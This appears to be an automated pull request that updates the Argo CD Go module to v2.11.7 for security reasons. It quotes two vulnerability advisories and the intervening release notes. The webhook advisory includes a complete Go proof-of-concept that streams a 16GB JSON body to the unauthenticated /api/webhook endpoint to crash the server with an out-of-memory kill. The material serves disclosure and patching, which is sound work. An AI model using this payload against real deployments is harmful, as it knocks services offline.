fix(deps): update module github.com/argoproj/argo-cd/v2 to v2.11.7 [security]

This PR contains the following updates:

Package	Change	Age	Adoption	Passing	Confidence
github.com/argoproj/argo-cd/v2	`v2.11.2` -> `v2.11.7`

GitHub Vulnerability Alerts

CVE-2024-40634

Summary

This report details a security vulnerability in Argo CD, where an unauthenticated attacker can send a specially crafted large JSON payload to the /api/webhook endpoint, causing excessive memory allocation that leads to service disruption by triggering an Out Of Memory (OOM) kill. The issue poses a high risk to the availability of Argo CD deployments.

Details

The webhook server always listens to requests. By default, the endpoint doesn't require authentication. It's possible to send a large, malicious request with headers (in this case "X-GitHub-Event: push") that will make ArgoCD start allocating memory to parse the incoming request. Since the request can be constructed client-side without allocating large amounts of memory, it can be arbitrarily large. Eventually, the argocd-server component will get OOMKilled as it consumes all its available memory.

The fix would be to enforce a limit on the size of the request being parsed.

PoC

Port-forward to the argocd-server service, like so:

kubectl port-forward svc/argocd-server -n argocd 8080:443

Run the below code:

package main

import (
    "crypto/tls"
    "io"
    "net/http"
)

// Define a custom io.Reader that generates a large dummy JSON payload.
type DummyJSONReader struct {
    size int64 // Total size to generate
    read int64 // Bytes already generated
}

// Read generates the next chunk of the dummy JSON payload.
func (r *DummyJSONReader) Read(p []byte) (n int, err error) {
    if r.read >= r.size {
        return 0, io.EOF // Finished generating
    }

    start := false
    if r.read == 0 {
        // Start of JSON
        p[0] = '{'
        p[1] = '"'
        p[2] = 'd'
        p[3] = 'a'
        p[4] = 't'
        p[5] = 'a'
        p[6] = '"'
        p[7] = ':'
        p[8] = '"'
        n = 9
        start = true
    }

    for i := n; i < len(p); i++ {
        if r.read+int64(i)-int64(n)+1 == r.size-1 {
            // End of JSON
            p[i] = '"'
            p[i+1] = '}'
            r.read += int64(i) + 2 - int64(n)
            return i + 2 - n, nil
        } else {
            p[i] = 'x' // Dummy data
        }
    }

    r.read += int64(len(p)) - int64(n)
    if start {
        return len(p), nil
    }
    return len(p) - n, nil
}

func main() {
    // Initialize the custom reader with the desired size (16GB in this case).
    payloadSize := int64(16) * 1024 * 1024 * 1024 // 16GB
    reader := &DummyJSONReader{size: payloadSize}

    // HTTP client setup
    httpClient := &http.Client{
        Timeout: 0, // No timeout
        Transport: &http.Transport{
            TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
        },
    }

    req, err := http.NewRequest("POST", "https://localhost:8080/api/webhook", reader)
    if err != nil {
        panic(err)
    }

    // Set headers
    req.Header.Set("Content-Type", "application/json")
    req.Header.Set("X-GitHub-Event", "push")

    resp, err := httpClient.Do(req)
    if err != nil {
        panic(err)
    }
    defer resp.Body.Close()

    println("Response status code:", resp.StatusCode)
}

Patches

A patch for this vulnerability has been released in the following Argo CD versions:

v2.11.6 v2.10.15 v2.9.20

For more information

If you have any questions or comments about this advisory:

Open an issue in the Argo CD issue tracker or discussions Join us on Slack in channel #argo-cd

Credits

This vulnerability was found & reported by Jakub Ciolek

The Argo team would like to thank these contributors for their responsible disclosure and constructive communications during the resolve of this issue

CVE-2024-41666

Argo CD v2.11.3 and before, discovering that even if the user's p, role:myrole, exec, create, */*, allow permissions are revoked, the user can still send any Websocket message, which allows the user to view sensitive information. Even though they shouldn't have such access.

Description

Argo CD has a Web-based terminal that allows you to get a shell inside a running pod, just like you would with kubectl exec. However, when the administrator enables this function and grants permission to the user p, role:myrole, exec, create, */*, allow, even if the user revokes this permission, the user can still perform operations in the container, as long as the user keeps the terminal view open for a long time. CVE-2023-40025 Although the token expiration and revocation of the user are fixed, however, the fix does not address the situation of revocation of only user p, role:myrole, exec, create, */*, allow permissions, which may still lead to the leakage of sensitive information.

Patches

A patch for this vulnerability has been released in the following Argo CD versions:

v2.11.7 v2.10.16 v2.9.21

For more information

If you have any questions or comments about this advisory:

Open an issue in the Argo CD issue tracker or discussions Join us on Slack in channel #argo-cd

Credits

This vulnerability was found & reported by Shengjie Li, Huazhong University of Science and Technology Zhi Li, Huazhong University of Science and Technology Weijie Liu, Nankai University

The Argo team would like to thank these contributors for their responsible disclosure and constructive communications during the resolve of this issue

Release Notes

argoproj/argo-cd (github.com/argoproj/argo-cd/v2)

### [`v2.11.7`](https://redirect.github.com/argoproj/argo-cd/releases/tag/v2.11.7) [Compare Source](https://redirect.github.com/argoproj/argo-cd/compare/v2.11.6...v2.11.7) #### Quick Start ##### Non-HA: ```shell kubectl create namespace argocd kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/v2.11.7/manifests/install.yaml ``` ##### HA: ```shell kubectl create namespace argocd kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/v2.11.7/manifests/ha/install.yaml ``` #### Release Signatures and Provenance All Argo CD container images are signed by cosign. A Provenance is generated for container images and CLI binaries which meet the SLSA Level 3 specifications. See the [documentation](https://argo-cd.readthedocs.io/en/stable/operator-manual/signed-release-assets) on how to verify. #### Upgrading If upgrading from a different minor version, be sure to read the [upgrading](https://argo-cd.readthedocs.io/en/stable/operator-manual/upgrading/overview/) documentation. #### Changelog ##### Other work - [`05edb2a`](https://redirect.github.com/argoproj/argo-cd/commit/05edb2a9ca48f0f10608c1b49fbb0cf7164f6476): feat: verify rbac on each message and not just during handshake ([@pasha-codefresh](https://redirect.github.com/pasha-codefresh)) **Full Changelog**: https://github.com/argoproj/argo-cd/compare/v2.11.6...v2.11.7

### [`v2.11.6`](https://redirect.github.com/argoproj/argo-cd/releases/tag/v2.11.6) [Compare Source](https://redirect.github.com/argoproj/argo-cd/compare/v2.11.5...v2.11.6) #### Quick Start ##### Non-HA: ```shell kubectl create namespace argocd kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/v2.11.6/manifests/install.yaml ``` ##### HA: ```shell kubectl create namespace argocd kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/v2.11.6/manifests/ha/install.yaml ``` #### Release Signatures and Provenance All Argo CD container images are signed by cosign. A Provenance is generated for container images and CLI binaries which meet the SLSA Level 3 specifications. See the [documentation](https://argo-cd.readthedocs.io/en/stable/operator-manual/signed-release-assets) on how to verify. #### Upgrading If upgrading from a different minor version, be sure to read the [upgrading](https://argo-cd.readthedocs.io/en/stable/operator-manual/upgrading/overview/) documentation. #### Changelog ##### Bug fixes - [`b980386`](https://redirect.github.com/argoproj/argo-cd/commit/b980386388230a0c04bdd9dd748472c1a7326c21): fix: cherry-pick [#18761](https://redirect.github.com/argoproj/argo-cd/issues/18761) (v2.11) ([#19108](https://redirect.github.com/argoproj/argo-cd/issues/19108)) ([@blakepettersson](https://redirect.github.com/blakepettersson)) ##### Other work - [`540e3a5`](https://redirect.github.com/argoproj/argo-cd/commit/540e3a57b90eb3655db54793332fac86bcc38b36): Merge commit from fork ([@pasha-codefresh](https://redirect.github.com/pasha-codefresh)) **Full Changelog**: https://github.com/argoproj/argo-cd/compare/v2.11.5...v2.11.6

### [`v2.11.5`](https://redirect.github.com/argoproj/argo-cd/releases/tag/v2.11.5) [Compare Source](https://redirect.github.com/argoproj/argo-cd/compare/v2.11.4...v2.11.5) #### Quick Start ##### Non-HA: ```shell kubectl create namespace argocd kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/v2.11.5/manifests/install.yaml ``` ##### HA: ```shell kubectl create namespace argocd kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/v2.11.5/manifests/ha/install.yaml ``` #### Release Signatures and Provenance All Argo CD container images are signed by cosign. A Provenance is generated for container images and CLI binaries which meet the SLSA Level 3 specifications. See the [documentation](https://argo-cd.readthedocs.io/en/stable/operator-manual/signed-release-assets) on how to verify. #### Upgrading If upgrading from a different minor version, be sure to read the [upgrading](https://argo-cd.readthedocs.io/en/stable/operator-manual/upgrading/overview/) documentation. #### Changelog ##### Bug fixes - [`c0f780c`](https://redirect.github.com/argoproj/argo-cd/commit/c0f780c380fec80a9c29b0123c7237fb87037eb4): fix(cli): Get Redis password from secret in `loadClusters()` ([#18951](https://redirect.github.com/argoproj/argo-cd/issues/18951)) ([#18956](https://redirect.github.com/argoproj/argo-cd/issues/18956)) ([@gcp-cherry-pick-bot](https://redirect.github.com/gcp-cherry-pick-bot)\[bot]) ##### Other work - [`d1c052d`](https://redirect.github.com/argoproj/argo-cd/commit/d1c052d7bf5fd19d927f8d493d4948570a4773bc): chore: update gitops-engine (2.11) ([#19036](https://redirect.github.com/argoproj/argo-cd/issues/19036)) ([@agaudreault](https://redirect.github.com/agaudreault)) **Full Changelog**: https://github.com/argoproj/argo-cd/compare/v2.11.4...v2.11.5

### [`v2.11.4`](https://redirect.github.com/argoproj/argo-cd/releases/tag/v2.11.4) [Compare Source](https://redirect.github.com/argoproj/argo-cd/compare/v2.11.3...v2.11.4) #### Quick Start ##### Non-HA: ```shell kubectl create namespace argocd kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/v2.11.4/manifests/install.yaml ``` ##### HA: ```shell kubectl create namespace argocd kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/v2.11.4/manifests/ha/install.yaml ``` #### Release Signatures and Provenance All Argo CD container images are signed by cosign. A Provenance is generated for container images and CLI binaries which meet the SLSA Level 3 specifications. See the [documentation](https://argo-cd.readthedocs.io/en/stable/operator-manual/signed-release-assets) on how to verify. #### Upgrading If upgrading from a different minor version, be sure to read the [upgrading](https://argo-cd.readthedocs.io/en/stable/operator-manual/upgrading/overview/) documentation. #### Changelog ##### Features - [`d75b23b`](https://redirect.github.com/argoproj/argo-cd/commit/d75b23bf9260b01288bfb684c2843f93f7419372): Revert "feat(server): log app Spec along with event ([#16416](https://redirect.github.com/argoproj/argo-cd/issues/16416))" ([#18458](https://redirect.github.com/argoproj/argo-cd/issues/18458)) ([#18639](https://redirect.github.com/argoproj/argo-cd/issues/18639)) ([@gcp-cherry-pick-bot](https://redirect.github.com/gcp-cherry-pick-bot)\[bot]) ##### Bug fixes - [`24b198b`](https://redirect.github.com/argoproj/argo-cd/commit/24b198bf51c451534f1142f98046978f01bf5ce7): fix(appset): revert "keep reconciling even when params error occurred" ([#17062](https://redirect.github.com/argoproj/argo-cd/issues/17062)) ([#18781](https://redirect.github.com/argoproj/argo-cd/issues/18781)) ([@crenshaw-dev](https://redirect.github.com/crenshaw-dev)) - [`bfbceff`](https://redirect.github.com/argoproj/argo-cd/commit/bfbceff5da9d5fad76d347dd236f11379f026263): fix(controller): bad server-side diffs ([#18213](https://redirect.github.com/argoproj/argo-cd/issues/18213)) (2.11) ([#18868](https://redirect.github.com/argoproj/argo-cd/issues/18868)) ([@crenshaw-dev](https://redirect.github.com/crenshaw-dev)) - [`07880f3`](https://redirect.github.com/argoproj/argo-cd/commit/07880f3c1d3313f27922cdd693e5505d843387b0): fix(webhook): bitbucket and azure not triggering refresh ([#18289](https://redirect.github.com/argoproj/argo-cd/issues/18289)) ([#18765](https://redirect.github.com/argoproj/argo-cd/issues/18765)) ([#18819](https://redirect.github.com/argoproj/argo-cd/issues/18819)) ([@gcp-cherry-pick-bot](https://redirect.github.com/gcp-cherry-pick-bot)\[bot]) - [`b5c13b6`](https://redirect.github.com/argoproj/argo-cd/commit/b5c13b6139fb8de5c0901e489e30e139d245ef58): fix: Update braces package to 3.0.3 ([#18459](https://redirect.github.com/argoproj/argo-cd/issues/18459)) ([#18663](https://redirect.github.com/argoproj/argo-cd/issues/18663)) ([@gcp-cherry-pick-bot](https://redirect.github.com/gcp-cherry-pick-bot)\[bot]) - [`5fd645f`](https://redirect.github.com/argoproj/argo-cd/commit/5fd645feacd29196d0622061052d3fae4464ddb7): fix: docs site version selector broken ([#18378](https://redirect.github.com/argoproj/argo-cd/issues/18378)) ([#18724](https://redirect.github.com/argoproj/argo-cd/issues/18724)) ([@gcp-cherry-pick-bot](https://redirect.github.com/gcp-cherry-pick-bot)\[bot]) - [`0d1709f`](https://redirect.github.com/argoproj/argo-cd/commit/0d1709f73b26bf338e6cc29234c10f5fb69fd28b): fix: update static schemas ([#18889](https://redirect.github.com/argoproj/argo-cd/issues/18889)) ([@crenshaw-dev](https://redirect.github.com/crenshaw-dev)) ##### Documentation - [`0e71f09`](https://redirect.github.com/argoproj/argo-cd/commit/0e71f09990b8bbaeafc15ae5354caf732ecb9ea6): docs: Fix .path to .path.segments go template ([#18872](https://redirect.github.com/argoproj/argo-cd/issues/18872)) ([#18874](https://redirect.github.com/argoproj/argo-cd/issues/18874)) ([@gcp-cherry-pick-bot](https://redirect.github.com/gcp-cherry-pick-bot)\[bot]) ##### Dependency updates - [`c2bd38a`](https://redirect.github.com/argoproj/argo-cd/commit/c2bd38a11a3224b1f3d4be7e831980f72f64a5c2): chore(deps): upgrade redis to 7.2.15-alpine (cherry-pick release-2.11) ([#18640](https://redirect.github.com/argoproj/argo-cd/issues/18640)) ([@34fathombelow](https://redirect.github.com/34fathombelow)) ##### Other work - [`13844b9`](https://redirect.github.com/argoproj/argo-cd/commit/13844b90ad1a10334bdaac56402182b08eefe1fb): chore: bump go version to 1.21.10 ([#18540](https://redirect.github.com/argoproj/argo-cd/issues/18540)) ([@34fathombelow](https://redirect.github.com/34fathombelow)) - [`e1284e1`](https://redirect.github.com/argoproj/argo-cd/commit/e1284e19e03c9abab2ea55314b14b1e0381c4045): remove unwanted updating of source-position in app set command ([#18887](https://redirect.github.com/argoproj/argo-cd/issues/18887)) ([#18896](https://redirect.github.com/argoproj/argo-cd/issues/18896)) ([@gcp-cherry-pick-bot](https://redirect.github.com/gcp-cherry-pick-bot)\[bot]) **Full Changelog**: https://github.com/argoproj/argo-cd/compare/v2.11.3...v2.11.4

### [`v2.11.3`](https://redirect.github.com/argoproj/argo-cd/releases/tag/v2.11.3) [Compare Source](https://redirect.github.com/argoproj/argo-cd/compare/v2.11.2...v2.11.3) #### Quick Start ##### Non-HA: ```shell kubectl create namespace argocd kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/v2.11.3/manifests/install.yaml ``` ##### HA: ```shell kubectl create namespace argocd kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/v2.11.3/manifests/ha/install.yaml ``` #### Release Signatures and Provenance All Argo CD container images are signed by cosign. A Provenance is generated for container images and CLI binaries which meet the SLSA Level 3 specifications. See the [documentation](https://argo-cd.readthedocs.io/en/stable/operator-manual/signed-release-assets) on how to verify. #### Upgrading If upgrading from a different minor version, be sure to read the [upgrading](https://argo-cd.readthedocs.io/en/stable/operator-manual/upgrading/overview/) documentation. #### Changelog ##### Bug fixes - [`46342a9`](https://redirect.github.com/argoproj/argo-cd/commit/46342a9e82f0ba53b996b1d4441301814d508e3f): fix: app names with non-alphanumeric characters in position 63 break syncs (issue [#18237](https://redirect.github.com/argoproj/argo-cd/issues/18237)) ([#18256](https://redirect.github.com/argoproj/argo-cd/issues/18256)) ([#18439](https://redirect.github.com/argoproj/argo-cd/issues/18439)) ([@gcp-cherry-pick-bot](https://redirect.github.com/gcp-cherry-pick-bot)\[bot]) ##### Other work - [`e01bb53`](https://redirect.github.com/argoproj/argo-cd/commit/e01bb5303ae664d5af0dc1560ce0b2f819494c12): Merge pull request from GHSA-3cqf-953p-h5cp ([@pasha-codefresh](https://redirect.github.com/pasha-codefresh)) - [`320abb8`](https://redirect.github.com/argoproj/argo-cd/commit/320abb8d649eecba86b1c8cc84e8a81df09b0b55): Merge pull request from GHSA-87p9-x75h-p4j2 ([@blakepettersson](https://redirect.github.com/blakepettersson)) - [`cf17283`](https://redirect.github.com/argoproj/argo-cd/commit/cf17283ebed196f44fa1bba38afe5a5cfdc18ee2): fix source ordering issue in manifest generation for multi-source app while using manifests and diff commands ([#18395](https://redirect.github.com/argoproj/argo-cd/issues/18395)) ([#18408](https://redirect.github.com/argoproj/argo-cd/issues/18408)) ([@gcp-cherry-pick-bot](https://redirect.github.com/gcp-cherry-pick-bot)\[bot]) **Full Changelog**: https://github.com/argoproj/argo-cd/compare/v2.11.2...v2.11.3

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

[ ] If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

wayfair-incubator / telefonistka